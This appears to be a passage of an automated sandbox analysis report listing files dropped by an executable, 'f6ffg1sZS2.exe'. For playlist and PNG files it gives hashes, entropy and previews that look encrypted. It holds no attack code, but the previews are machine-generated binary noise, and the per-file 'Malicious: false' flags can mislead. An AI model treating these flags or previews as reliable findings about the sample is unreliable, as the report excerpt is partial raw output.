SHA1:	36161BA89D105A6EF224D196E3E214070B3413B6
SHA-256:	06D73C12876E01BDC8C60A9ED6EEC06E9398DDD00AE6B1F3B530D6CA6DACA2A4
SHA-512:	2DB9065688B713ED9F73734CD136F3DB4EC64FE3921833AF21947CD9CE39D3C5A7F9A7B1393957B34E663D394635937AA0ECFF66F0CEA2B75BFD49C5602BD07D
Malicious:	false
Preview:	<?wpl:.......d..8.T..B.S....0.V............7..`x.Kk......1.V.[.R.x{........".a.i6%U.=w.bSi~..Z4.....;.H.A..(.....B...I.......+..GT...f..v....f....c..u....,.'..gh~...K...S+.i.....24.B.N._M5.C.L.kb.o.(Y...i3.4..~..{...z#6..4........[.PO.E...y...n..h..s.z.AbM.A.9[."g.2..#....8J...n.:......E..I.K#\..4'a...\.w^..%0.....?...(FYv..{s=..C..^...y.AH...I...L$...%{.9.af.......R..1d}f.....i&.m.nP...\R...".s;...d.3..p[c;...G...`t..M.\.8...>...1.3.d..~..%..o5.....E......@.A97j?.dH&l~..8.i..F...._..g.h&......o?....0.b].J.........\".R\!...P$%t.;......^b.;.[@?."YZ:H.@o..,..Y.x`;..1.RwWBO.S.V.4..&f.5.v...B.?\...ly8b.."G.L.g....B....,.\......q......E....i..7....A..y..F ..g....p..x.".8...I..F..%...2u.... 5A..\|\..c...^.LH...;4M..+F3h...M........p..W.k...D...l8bi..\|..g.....>.}.e.Y...5.m..l..$(dQ.Z#./.{?.Z.y...is...a".$b.K".Va..m.02YF!...../..\tuV.........:d.....T..<.Uv.O.OE..... D....f@..:.~.\......5=..#./..I.=.yX..@>op.q.........#............i...-.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\03_Music_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	7.8840528250154245
Encrypted:	false
SSDEEP:	24:0eip4wWbRHxcMHZ4CrwhloSIpuXVXV9hnBJPA1CC0bCbD:03tWbRHxcRhlo69hnACrQD
MD5:	454A9F616006DD12F790ADDADCFA3916
SHA1:	E261D610BB4EF48E938BF6826B81F477406E9607
SHA-256:	9C1EF7F4C814B5B7A5528FAD27DD398F5EBED1A97C0E231B272F870006839FD2
SHA-512:	AC910C9C1D21E6FD63AC25817104AB5D3BC053D156DEB99496046BCDE3E8BD51DA49E13CD693A050E01C414AB8A60BC974BB621D14892D7229403217AD9AFD6D
Malicious:	false
Preview:	<?wpl7.9.&>.Af.L{.rz...1j}..X...{;..&@>:.<Q3...BL.o;z...5S.?dpo......A..D......@=[?. .;'...K......V.b../".=l..;w$....A.[.B.{........f...G.Ge.A."...S..L.)3....J...uDJ>y.O-.}.:...t..{...j..h.%./L.k. q@.I.._~......F...ra.;.P.0..}XI..a.0[G.Y...W....#.......Q8b.\....y>.p......DM.a....u."..0..z..7c......}X...S-.....F=....l.!./j^}.#.....C..,.UUx..i...tv..l....f....j.1.Z5-V...2C..;.z61.._.L.%..V.N...=.aa...x._....IT.......m.H_.n.......l.{.......F#\|....7.7..H.......w...:?k...}r..!.s.l+....0+qE...Z..#.xn.,.5.m.A....xU{...ih62......2t.<..yq...l....h.KA..a.^B....L~\.X..Y.X..Q.r7.......X.{.@[.9T....i,&..d.R,.....U\|...s.Y..".4..........4..Z.`.i.D.......9..3~.....B.r..`....H}...<...6_.P......f......3K..W.Gh...O(..P..tJD.m,L.Z.@A.+7.jk. ...H.q9.....-w..s..@Lg..m..k.=!...o.....<....G../A:..][./..X.&.>..._...K^y..?.J..P.'...!..Exxq..."..L.z3....u.j".x.#._rv.-.....y.++...?.5..'_A....!.....F..j.:...J.}\|....J..\..9..D....a. .,><w..X...u..)..h1"..B

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\04_Music_played_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	7.8823724867491265
Encrypted:	false
SSDEEP:	48:TE4jiy8VbKXmTKKQ2cIFtY1j00w4kfZvD:TjuyGR/JA1jrToh
MD5:	390107F3C05DEB54A17C98AB1317A5A7
SHA1:	2F7DE6068DCB6FA40F61F850E022F67D25FF2ECF
SHA-256:	4DC088C4F8BBC24C34D1F1D6EFBC976193882D14A6382BB3F1E90FD3979BB231
SHA-512:	FAD7152836DEC71506FF9E50512C48EEC1C59479E95D7545572BA42435CEA6DA82D757C4A86D6DEC0CB7BB84587FC5B54C7B8217F9B3440F574FC6561D712EB2
Malicious:	false
Preview:	<?wplH.b....nH&.#..;..U..t.....$.p.&...;..M.....`x? .d<.lz......w...t...Y.f_K..a.r.[4R".....z. 9.;.....~....1dy:0..y.x.JB{[.O&n}xw..;......w).<p$H!`;...E....o&. .U..,nR..cL...N.u... ..^spU.......0dY....X.QM...8.O.Z..S..n....;....H...BR..!.....Q.0.....,.\|.j.~-.n.P&9b.gl-....g.&..T:.'.. ..1Z....^....N..:7...#i..&x.3j.1 p^..ZN.^4@a.'.........R..6...bP...6..A...{.K.)B.i.kR1.BJ..2..B.l.A.Lq.G...['.E.q.?vmGhZ.N:....a......I.5P.E]W...u..<\|b.......@..90.;.......](.kd.8....O.......n2A.C......C.G.......=6...^..'+.;..J..f..Zf'NQ.../z(...}.N.>.P.i..{9&...~...d.&f.... F.o.g.q. ]B4.........P......d.63IU.]...ya.....'T<...~Y$h.bj...T.8..)....;f2.)_.[..?8.......Od{M..&r..r....b.I.g......L...R[G........zdO......n..'..j.X..h.Kp)..B....xn..u.n0c.....V.Fr@W..[.F..q.T8.F..[..".S..V9.t[:...v..\|..`YQJ..i&..I<X.U>..4.."4..#..P%..>B....s.7s.C.y.P.y.`.wa.a.I...SwZ..c.sA....R.3..n..7.N^=.,....@......+$....}.5-E<2...H./..?p1..s..2y.0.y@$.....'8..r....X ..p.of..V..;.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\05_Pictures_taken_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.842114262534786
Encrypted:	false
SSDEEP:	24:lGAEnlyoQRiuUF9P+zDpprroQ/5iviVCPe8BheZsSbD:lg/RvHGrrL/5i+gnBhgsAD
MD5:	08B6E8B7A25AACC8CFA8D27541EC3545
SHA1:	4F30770C66A4DE3F894F11398F41DA0739CAC74A
SHA-256:	6B38914C5A1B04A902694736097DA84347C34C6FE765C9CE97A9559897541CBF
SHA-512:	899316F3B02A58680521A97D9FDB8DEF2A2090B42FF6F228B13AF33D3790CD77F0527959A88A95C0310EEA4644C816F509A116E58783E2ED43DE203C38DDACC5
Malicious:	false
Preview:	<?wpl..........p...dn........-...%:.WK.@1......VvQ...s.1..FA'.T...Q...AH..7j...?,...r.[6pR..........D.cv...[d..W.F~O<..........`Y{......Rf$..0....R.:TX...@7.x...',..W..........o.9.p......"..s.g=. hzV........UU;...A2g............:n...\|..mO..+.1..<+.'..zO.4.y.#...Z..._..N.X.....~.\.L.O..[N...._...^.....G.v. .[.....v..lkmw.Z..PVe..k...%.eN.;..\&.......z.^"......m....$F+R.Z.$_5y2BJ.h..[9.M.+h.`.M.V...\|GR!-........d.y.Og/AY..r... ....F..=....`...........B.....{..^.&.n..Y......:j!.....o]..a....oY.8.N_.B.;tI...h\.>-N8. .M..u..H#0d.7K.e2ACO..... ....e..2...............#...=Q..cK.$....TPt`v.u+..e.$&.....,......S.l-2.+.9......yhH~.}...}.aR.H....!.e..XC..F.6...7.....gP.;..7M.+....~.p.<...'.S.......Pt1..sag}...R.....f.}.s...E.....=...Z.=:...@rs.,...C.1...~d.....6...5.Ss...5Y$.....#...b.".4..N.....@.^...).n5...\.q...].9ssu.......1s.5..=b.o.\+.s...4.A....y..}.)..@.{p..<...}.\.%..A.K...&..9...Ze,....K.....1.0...........H.].X...T.I.K.Y)l

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\06_Pictures_rated_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	7.808808955048606
Encrypted:	false
SSDEEP:	24:0ufGzNwt8zW0XZalunF9Fx8ZPrQOUDl+sHWp+bD:0mG3zWu0Q9LwjQOU2CD
MD5:	2D7938E0EF93F6C1F160BE08E58A7293
SHA1:	5D03A4BFCF47E69E3440E075D2768748EC405285
SHA-256:	FDD076EDC66C403E168FC89003955179691110712FF24E17C0E24AA614E39DB4
SHA-512:	6ECA899A66EE487E4DBF5C78A682A09B14690F1329C710B2A915054705A6F235C56E99EC396B0ECD5EE6AF5BC08A573AF5B6678AF82AAE1B1A90875F512295A9
Malicious:	false
Preview:	<?wpl..7"...V:.}.X.V}.........F3.W5..g=n(..,P...)j.....y.KU......-=...'.\#A...F...}k...1.....5q..`4...H.]..A...P?..DF.f5.w....p.D..Rj...G..._6.B....Z.]..C9....b...j.n...<..H.\|......m..c.R.).#.~..db.\E>..-..u....SC..:.tM.a.X...L.u.=TA..V.....p...^..G..>_F......F1.8...?......tg....p...Eo6U..\B.A.Z..;..#KE.]l.....u.ue.i2$.q.\|#H.Yk.=.~.....!.}.r....O.m.0..X!...-z...t.,....'..@.r.....Rd....R.JlO.R[..{p9...q.8.U...I@.^..g....{.c..\|j.._2.....x. ..}.....Z.z.2. .H.<=...N...-..r.b..Q.zH]Eu....5.....1O...>.-.y&w..M&...l.sZ.....Z..#Jl&q.v..!7Ho..u....S.q8J.];3F.....?......R...:.RC.e....Ar..~'V......}..G.I.?...ya.....9pC.V.0....v[....m...v...C....{S.N}..!..r.uD.T5e..H....P.3Z...L...E$ZU...\|...r...Ns..t0...u..]..i1<G.s.....B..$..K..5Y....."...Yoq...p.O`.. 21.........K......C;.I.A.......L...s.Zk...h!C.x.-....c.@..+0....G..R.:.\|_p..Y...3....91...E...{.E4U1.......d.<...b....r.A$..k....+ =F.v..w..-ohn..c.h'C..q...s..S.....#.1C_....0.J..O-....D.v.~sgT

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\07_TV_recorded_in_the_last_week.wpl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1374
Entropy (8bit):	7.8386298299311905
Encrypted:	false
SSDEEP:	24:9YfVvzEwbYnC1XTgClewd1nq2LdwpmxRHSCVTjOGF7SspFZ2cuDiqv1jNSAJbD:SvYKXhoi7zdCGxS4FZ2ccD
MD5:	A174898C9B6FD495F92D6E4565942547
SHA1:	F5007EEF738E98C8A2DBBE8D7AEB85E3887C1CEA
SHA-256:	57E5BA973E1C9D3A68FA8622B47F4610BB8E1D0F6FEAF8E5AC46FCF1EFAD6E47
SHA-512:	5090E9C709ABEA6BB2F4ED3ABA09B7FB04AEEB840A7C811976E8CC52E0608CABC60C34C42D4A26993525812D4341ECD1FE653C9F196F536318BC1677F2718E2B
Malicious:	false
Preview:	<?wpl..i..Q.v.>.._..$..."...3>%N.\......}.?.`.D.eOK..6<..8..S....y~...v..B..i..eEL..(/.bn.'Od..s6h.."..B..t....[..g)Y.\.B...H.f.3....".8.}.~pG..=u..s.5z{...9\c....vp......Q.UZr...N#.!+...[x...x7..rxqsU..S.F~.._.\..}.......V9Qp....n1.p!m...M..`<.....w...?.E...a.9.qR...0...5.vZ.D-a.....V...0.8 ....~...Z..Y...X....jn).........p$y..."t..'n,..d.}...Hj.\|..X..w..%.T.:.V[la......n0`...f.$._i..vN7....2.4..bB..;=.ir.;..&@.....q3...d/.`k.w.....`.2...1..m...2...............0,.A.....e...]._.UT.'..P.X...sk.X.z...7.y..!{..;.`..nZ.Z....E...Z..,<.....5...s,...+./..q.C...-,./.gi.<6.8"J........9,.N..'.=..&...`..)(.+.F._.t.\|..c:E..{I. .(z...2+@..L..[..x..Cd.3....,.Y..%...G.O.w...:%;...XU.L.d.. .F.~.5......V.06.j.."..g.kk ....w..9=..s.)q....[QG.&...!....`~...O..."s..\....'b{r...].[..8. p.=v.k@T..X..I'0..P......=n..E5.H.+......./....rk.Z`Y#...l.kFYF?Q...iD.0j..H...<).I...LO.r.1U.B0*.d..6.(...=..d......p.Hz.O#..'......f.X.l.......M{..N..0..5..~nT..u`.{..>`..5(Z

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\08_Video_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.848835861234242
Encrypted:	false
SSDEEP:	24:jte5lIPUehRd4UV3a+Szbq4i50NHOIbu+7t7LCxDZ642ztlgXvgbD:5e5lI8Kiiabe4a0NiMM1vyD
MD5:	3AE429B7F943A7E4E0E24DA7CA588BA9
SHA1:	6ECDACA87C31069061053F5D8A228333C1C564ED
SHA-256:	B6643FF945AFBB8AEA8CF753DA1829D198FE04749185045FB498205F89668AB7
SHA-512:	7782C16C920DA90D15AF9A365DE91E0D0E89414C70D949DEE4BF4D4EA12AE91E4909EDA2E638235DF04D8F5DEBCA9AFF59B382133427C6306B2DC37BD54DCB7B
Malicious:	false
Preview:	<?wpl...x.V.F.9.).`.^..}.x...eWe.j....T.....2..'.R...Z......x:?.U.G.L...n.K.5l!..qw"..^...{.r....~0<.G.g...J.........[..%S..\..^.EM!.2.AD\.~.a.M..cSo]..9.&.....U...d.K...X1.h\|8.,D....t..+..jg.,...J.m........8SUQ4.C.z..jO\|yT..`.2=...$bF.R..M].......}&....M&....."Kt.l;Y.?"T......o..Q..Q..G.jN..1.h...J..v...VD.lH.)..u.KT...1\.~>e.gW..............J):d.<...D.#d"L....v.'pf..mJ\n..P.c$./f......,..e.5.....I....H.w...~/%.c....C..D-...[....Fh.......NF2q.._.u.ca...P#Rfq.. ........+....,..!8-. {I~..(.+q..4..ze..9....4.Y..T.]ni^...dZ.+.Y=..E...X.....cD/....S........}....`HA.=.E.uU#.....o.~@...$.f..8CD..A.....zl....@...."...)_}...dP.u.(.L.j..h.F..\|.......F.. .2./.X...iO?.E.I....I8....f..A...Wh....BH..c.d..#..#..k.2.`....>.....-...l/.FG..8....8.....k.......I.}0.$S.W.'......R"..;.@....O]..i.-{.hK...}...8....<.w\....y2.."K.....E.Ae<..<.K.R...g.O#<.....#w..dJ...t..{.%..0X..x.#...}...D...=.1.j...m.8S.....5s..r?..o)..v.l..........R.s...7..{i._S....M........

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\09_Music_played_the_most.wpl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1359
Entropy (8bit):	7.85178843731122
Encrypted:	false
SSDEEP:	24:Mp3FAc7+qN/+US12epmnVx1YCgvqsdHnBgx5z//19CISnjiAacEmYbPbD:eX/+UD5VvYfvhgxZt9XSjix3D
MD5:	BC465381BD80359754E09277C0B82BBC
SHA1:	323089CB7A632CF37520916AAEE7285097273504
SHA-256:	8B82CCEC5349E0FC9268A00B9F1EAF9B81DCAABD7E3DFEB3FA0CCFF6F85A1DE2
SHA-512:	DAE81CC4F3ABDB75493A38C3D4771191051EA85C55E3595B9760EAA447FF82B851981F22EBEFE56639E6777D3B0954E356661FA8F6BD2B40AA2849BB885606CB
Malicious:	false
Preview:	<?wpl\.F..Ql....b..o..m/t....l.....!a`........o?N..N5.W....Nt.3......w.]t^...........n.t.A.L\_.r]..\.Jece...E..Z...n..s.V.. ........Y....`..G.O..01.o..wO.MNx+s-..TG=d.l......)~_.)$..7#.A.V.1..[P.i.M..-aX....h.... ..i.7....y...l.N....q..e#....\..}.W{....~A..c.K.....an..........&7..8....<D.....Q....su.#E.':{..lif....8..n.$.51.. .D.F.xG.S>...........w....c...d.!...t.....R.W...a/.^..].R......B5....r.[.]c1..d..Bg.5...,Kd..8...i...]?./:.H.wk....nV.].K...q.CcK6;..n..ZR...M.h....._....Y...=.`7K.V.&..G8]...#.@........d.5~)_..Hh.).>.6,..=...l..W.ju..j\|\|U,t..^.yy@s\|.....t...i...W....?Q?F.=[.N...E.gC2.s,%.G.$..{.m.Y_)...l)...`t..S...6.....8......R.}..a......r....s.y..j......d\|...w',...jq...Nx.t..r...\L9.....\...\.F....pf&-f#....!...[.k...x.jb.....E.m.j..f.wA...........%.......jl ..\.}D_..Nn.f.\d....2]..J=8.....D/..g..f........xu..2...Jv.....x-Dq%~.z.J....~..e.....:..^......9...v.A..NYX..;.C.r..........$0..]b.7...........s.~.C...~...z....Y...+.-!.,k7.q.r....

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\10_All_Music.wpl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.863152788073875
Encrypted:	false
SSDEEP:	24:VhTeDTNiIZl7CbF/UF/HK41EsxQN0OFkxQmA8QUIPiVQrenUjduAnLFIhLwbD:VhTKVZlwFi/HKIxQZVm9IpmUjdNnLWQD
MD5:	B860F2DB95BC336B59081E2492156ED7
SHA1:	0F04AAC6DC5F025E37DFC18ABB2CF231A1BBE47F
SHA-256:	BA20C6A6AF90B7EF413132F9319E092F0F165F256291EA426194213F677F2B5F
SHA-512:	17268509DB0E840B5BF08C21EFA535C83F42E008C33B21160D491A6A9645816827EE0CEEC13D6D93D8D9B120CD8894B930B9BFD74A62C7F8B5CA6AE2660FE73D
Malicious:	false
Preview:	<?wpl.sw....\|!.........'...K.3..h{.w..x-.1.....((.d.:.N....6?.w$....l.o?.......Oh8....].4.&_X....=>8...Y.e$....3.....Y}1..F....0+Y%....d........N...&....-#...z.J.5...U.O.r.....P..6...:.)....R...(.}A.x\.>..........\|e.]..T6...(ms,..72......f.D./3q.....\|...,'...{P...b....u./..$3..x.y.an+...... d.=.u..ZV..%.XI<L.P.l.p.u...%s...qV^...3=..:.I..=z).-..j.wD.n8D..K..^A..+.E.e.[....!.....j..=4....(o..p6.....S.2.......gl\"......Mc}.6$. \6..WX.v2(.....P.c......#.d.=Qd..".sYM..Eo..'..m....)..so.<..9C>.v.x....p...0..'".B6..d.w.W.F.=.of..d.=..4...C...aQ....y..9}Q.c..g.%.U..Vy>...U....~Vx...2>..V6.......C.{A.X.......C4....U.8.9..?... ..7...f5.4.}..Ro....9G.../X&.....Is.Qf?%........!...S..^.G1..j..f2.c.M.....v-'....].i5$.H........5.K..0...^...G..+.B.......<.%z]P.~.ew..f.~d....y.B....G..Ap..*g4...B...............`.'bQ..w.7..=#..,;....Y.&.....<.........2....."]....L^]T.....k..K.2...IH!'.J.....[.N}......3hf+.Z.9..}.@qr.WX.#....C`d..e.=W..[...D.(X../C0r.$..F..\...b.$.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\11_All_Pictures.wpl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	919
Entropy (8bit):	7.774756873329795
Encrypted:	false
SSDEEP:	24:Czn5i1I8z1ijNSpr7CrkciydZROjyg/rpNYKfQilfe1sp2I7aqbD:25e1ihSBCrkzyYj3/VaKfQileVI7aID
MD5:	416031E0583D5CD1C1C0E0D2528A2C9F
SHA1:	2204847621049C928C32A86188EBB3BC6AE6A69D
SHA-256:	6F1FF9C068902D10D315EBF27CAE74EE75C69DD02E37D67D45AEF101CF8FBCA0
SHA-512:	7DC11D4CC9B8431A110B03A3D21F6FA8971FCCD09CEEE7510F4FF880916ADFDB84AC07DD2FC6529F99F46F2FEC6232BE3C03CC84DE36B8967911AE5C39AA28DA
Malicious:	false
Preview:	<?wpl8 ~t.giGg[......w.a........`.......X..L....1=p...Ey<E\.;8}.....d..w...[WD...,i._9j.......3...J.A.F.....U..1.........a..`.rE(........o...-.:....1.HX.@J3...qc..B4)n..y..............~..CY9d.?..[>hY....z.I...n!p...c.^.Ck.5.=E.9.rci.q....0.aWV...........T....ibE...[$3..9.....9l........t..s....:...(R...7o)..y.....[.oW+_....L..'.<_/..O.b..........M.f..9...)..s......"}..h...W.r<N.z..h.TM.....q..C.....+..!{...G....W.../...w..M..G5...fi.1...\|..+............3o].q........Qf......A/.....2.hkI.L..;...6.U.......M-.>...bA....>."...6k..-R...i5.WC.m._L.5.M3^I.rz.u.......i..!.t...m-F.;.V..&c#.w;^..~.t{...c_..~..XzD.b.....R.Yk..nE..%..[.l.8;.....z.,.G.y.fe.=...55...O%.*...A.e.L.I,..i'n/^..r....v.1M..].^w._.K.5d5...H..M..v......pF..p.UT...t.M..^.6<..S.;]......GT..Y.>....z.-.....V.kH(D..KZLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\12_All_Video.wpl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.869794136415592
Encrypted:	false
SSDEEP:	24:XoMR75bjZEPiogU9u2nXrC9Md/trWbAvvnBrBcM1ctCnN5Kg9QXwwtRkbD:YS71jWEMK25VctCz2wSRuD
MD5:	7FB2CB5EC5CF80579D99B9C5035C26F8
SHA1:	B490F75D3F631CA6412F21F25EA6F2E1300D73EA
SHA-256:	A025F1EFA78112EF3020F3E5CF8CB6A19EBEA117AA28DB51825FD892033064F4
SHA-512:	ECA092A94E28D796CC5FA89E44B0E61D88AA41474D178CC0D0BE14785117327DFE0A092C2FB6BB7EE6A673B6968FA4E8F114C2DC700E64B1DA703B2DCF9AB5F9
Malicious:	false
Preview:	<?wpl.T......h=%..t......._uZ!...(.u.\|P..Zv...>..0W..\L?F......r^..:.....$o6.jEJ..\|.Z~.,...]~.e.9...._f....?y...... ..k...EL.g.W\.2.H....k...Md......Q!.....d........\|....f.i.......A..:..[.....gwe...H!X.]D...._.).Q.q5..P.l..V..\........2..3...`......C1...............P..Y..../.-.'..S..r..!....!.m.,z..33.....&a..c...nxQ._..[.."....O#.....<%.PD.`T...=.....].{.^.d)D....+.{.{.%...&.h.j......Tt&.2.3F,hC......o.kx......!V..jc.~@..="KMC...Z.....6....Y.gR`;-...9.Xa..F.]..z.d(..k....^\..1....I...c.~8......`..P..r.4.r....@.....=.../ZV..,duN.....\|{P...y.k..u...........;.>....d}+..KP..!..Rf.t.0o...;j'e...&......<.;.\|...&..N....w.#.......@....=.].+.E?J.9sMU4-..$%F.AQ.%.T.w 5.L.$.+L..J...=6q7.N[.j...Z..l!.....P.*.....\..u..iT.F...g...}nZ-...U>..P....0.~.b#K.>7A.-:..E..#....q...t\|..fs..R5y`r.4...M;.y....\|.0..~.....??.0.SW.....k..\GJ.g+=.@..M.y..{.W?=...c0.w.{.......rS.g...V.e...Sp......1..v....`.?..S.opMP4...f.P.E........XA.N.R.!ER.......\.YjQ`.le.zm+.....FL

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{45F61A7D-A745-417E-BD88-2FFDE87A6DA8}mt16400656.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7074
Entropy (8bit):	7.97670906677123
Encrypted:	false
SSDEEP:	96:ef2+VMpEj+nfedf/HXkrB51RIztwpGcDojuYok/aoA60HIvS3pedN:ef2nPGdfMrB1ktwpBDyfN0pmN
MD5:	DBEC11701199C5E4018A58672B07E2F4
SHA1:	524320AAB28E0CB692F54DAAFC703EF4C22DCC00
SHA-256:	42A5BAE4842F11C7F6F2BA1F80BEE14E13B91A3447D55ACDEB7CCEBD228A0B0E
SHA-512:	5439E5CE0534166C113716C0A08836D506D7DD80C3675F6C6EF759C6512892B9DA5F261B8525A15ED90CCAC6E5C438455BA2E41E440AC91820E88B98763F36A5
Malicious:	false
Preview:	.PNG.........a.i.mE..B..#t..,Nr...9Y6$.z.....{=A.......!..!^[...EEx#)Qk.Z...Z+..4.G_<.......0...U..k.........L..T..@.Bi..3....M.....a...5.U-..+j...(....{ek..2.P..}.j.E..z.....e.-{H.-....'3.....\1.p..]..d...1.Il../4....i..".....t...0<Jt.}.:.+4.5.E.X.u<^G\|..R....6r.8..\.?.kB...V...............>dH.N=Hq/..C..J.71W+...?.7.1...ba.1...T9&.B.5psPG._.7..D..]1.?.z..#...t...... e..v......hU..V.zt.6.. .k....&.$.'./..v...2(.G.#..A.y......f....'.O>M...J....}..!'S.....h1ok...3q..gJ."....{.m...P.e.!..BTs....bs.#m..7..X..L... 1.!.w....m!M...q1g...=...4t.B.9.]..'..No2....%...f....5....oK[.0l.....J]..=.N....X...G.slQ."31.."...XdF.9ET....mh.d.........).'...s.{..e..0B..d&...j.W+bi..^.v{.v.B...od:=.Qd.S..F..(..[.1...\-.a.i....OT./.Zc..0C......v..<...\.t..=HQH..z.`.i....J!..y!,....m..}....1.v..a}.!.&.`.2f/o.6.:Z.).".H`.~E....G..ZA*T..=.VS$...r..}~......f.............K..\|.utW.(..4o.{.2."8..MA...]....".H..n.....H.8b...PC'.Ot....<....4t..!...56...I..H;3...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{7B3AF8A2-A95D-4447-ACC9-7895C91C2D45}mt16400647.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7438
Entropy (8bit):	7.976302033340584
Encrypted:	false
SSDEEP:	192:M55MNO8xljTvgwcPk4yNOcAuU31t14XPC1D:MHMNOa8wzkc/Er14XPU
MD5:	C72BAAB1FFDFE7CF618366B5E9713428
SHA1:	195F1469EFAD21126F6A01C202CB16B840841F5C
SHA-256:	B4CE8683CE7BD778E3BFCD8F2B639C8EA54919577A7B298E6243ABEB9C6E8387
SHA-512:	F5B664620505EF5B582538AF687A716874E6D254CB957487DA5FDB53A810C782E2F921A311C1B11C6D33B602ECEB65C967AA6247A5C79197A6ABEEAE65221EB8
Malicious:	false
Preview:	.PNG..rx.....@..a.V.....5.oy........cO......"N.....r..2l...o.I.......aT...{.........I..=.S=..qP:..<.5j..l.4.......@.^K.h...g...A.f.SO.j..oP#.lb.!.J.{......Y.=.z.......].A....'=E@.hb.q.Y'...H.1!.]....h#.....l..^md^(n.`.j.y....<.....$..A...R.p."..lv%......z}..4.[..;&&I...9.d.X(=.j+s..T......%..Z....o..(.f.xL{..2#.\|..m.M..?nMo.<.W....+......)._.Z....fw..#......c..9.N+.......Ej...x.Y.p.M.d...^.u.v.....!....b....O)!t.V.......=......o..o....[.G'{zx.>....\|AV.4...\..k..@.....,0{.F..lH.73.p.Y2)4..._.b.......xlk.....@d....:0]}..(..$..F.%...`..O\...M.WE&I.lJg.....}...Q...]M ..H\..k>,^..t.....g......d...n.K..z......2....JLXCl.&$..r0X..../...H.6].......".........:.8.?w.........b.U....d.'$~..G.1....9O^....bt...$.r;a..?.<j%.\....#@.>..a.....j...6..,.j4.W.\.S.6..q..P.>..KWq....{~..av<.9.......J.[.U.hH5. u.....VR.3.......~..wa.......m{.:.......aXO.......4........G...A.A.T_.-...N.#a. ..ECj..#F.1.L...8a...m)..._.^''..5m[......mg.sPH..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{7D2AAE1F-E21C-4042-8EAB-08D27101C10B}mt11414620.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8887
Entropy (8bit):	7.980634684812183
Encrypted:	false
SSDEEP:	192:OGzXvkoPnK6Bdp+HMpCOjpq9UpghSLLWU9zgbhw25:JznC6wHkbp7pgAKL5
MD5:	B913839B58EB4CE4E15EA2536A391421
SHA1:	07BBBABE98A3B9B7974B6B4285C1EB3AC65CD6FE
SHA-256:	8E56CEC47D59387539F333CBDB73DBD3C56A420935FDF9D24DAC78094D5F69BD
SHA-512:	BB0BCDCC9239E2943BD0374BBD01AC473416F093ECA731C2C0769018C9CCDB15427A178624AD271F2AAC73C4F207A36C4B073B4698656481A9D1B87679D3A5CF
Malicious:	false
Preview:	.PNG..A......i....V.(....5&....p.dMY.}.H))U.".L...+..n....V..L.W.+/...]....w...._."#&..J.^..L.A..v1...<.[...O.g.....C.......M.v.6.q..8...}NE..B.Q.R.\|..\..m.....J..1.,r.B ..w..s...']..X+Oe.q\|.f........Ad"uh9..f..k.....k.....wns.BMy..[\|..^+D.Xxt.k.G..f..uN.....\.tBzg.jJ.._...=1.X2}.v.....A..U........0....qiQL.l<....#.vl.X.a;.......c......{...._. ..c...H.u.c..7:...KA..T....Y^.M..&gi.\|..'......tn.....O.........w..[U..j...k...l...}.5t.<....>.p.....d.s.........5'..6ik.y~s......1...+.)`.....7...CQ@`.j...1..E.kC .yX(.z\|.FZ... ..P.<....1.8..,.&u\i.P6.R1..C5.:.j......"......V.9 ...............x..(g.....5..bL...z...f...j.c.I.'A.....@..n..f..<.......\....G.$....>....L]KT.eF>.\|..........:...".&.~.].K.I.F....D..9.z...$.''...e.V....C...J..n?......k.UPw..w..t..Q..#.d.j...........B...X....?x9._..s..*q..a.......AB......&#<.i....l.ao..z............)..}.P[...<6.#Gg.l...1..j..0.C...SAV..YM....#..u..g.(A..........+{.].m.....~....,...n`.]u>..1

